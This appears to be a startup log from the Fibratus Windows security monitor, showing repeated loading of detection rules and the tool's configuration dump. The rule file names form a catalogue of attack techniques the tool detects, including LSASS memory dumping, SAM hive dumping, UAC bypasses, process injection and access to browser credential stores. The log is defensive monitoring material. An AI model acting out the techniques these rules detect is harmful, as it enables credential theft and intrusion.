source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:49:10+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T15:49:10+01:00 level=info msg=bootstrapping with pid 13216. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T15:49:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false use-template=>true port=>25 content-type=>text/html to=>[]] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-handle=>false enable-image=>true enable-thread=>true enable-vamap=>true enable-net=>true enable-registry=>true enable-mem=>false min-buffers=>16 enable-dns=>false buffer-size=>512 enable-fileio=>true flush-interval=>1s enable-threadpool=>false stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 log-stdout=>true formatter=>text max-size=>100 level=>info] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] amqp=>[ tls-insecure-skip-verify=>false delivery-mode=>transient url=>amqp://localhost:5672 vhost=>/ timeout=>5s passive=>false durable=>false enabled=>false exchange=>fibratus routing-key=>fibratus exchange-type=>topic] elasticsearch=>[ timeout=>5s trace-log=>false sniff=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s index-name=>fibratus healthcheck-timeout=>5s flush-period=>1s template-name=>fibratus gzip-compression=>false enabled=>false bulk-workers=>1 healthcheck=>true] http=>[ serializer=>json timeout=>5s method=>POST endpoints=>[] tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false excluded-procs=>[] enabled=>false skip-registry=>false fastscan=>true skip-allocs=>false scan-timeout=>10s excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T15:49:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:49:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:49:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T15:49:43+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:49:43+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:50:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml 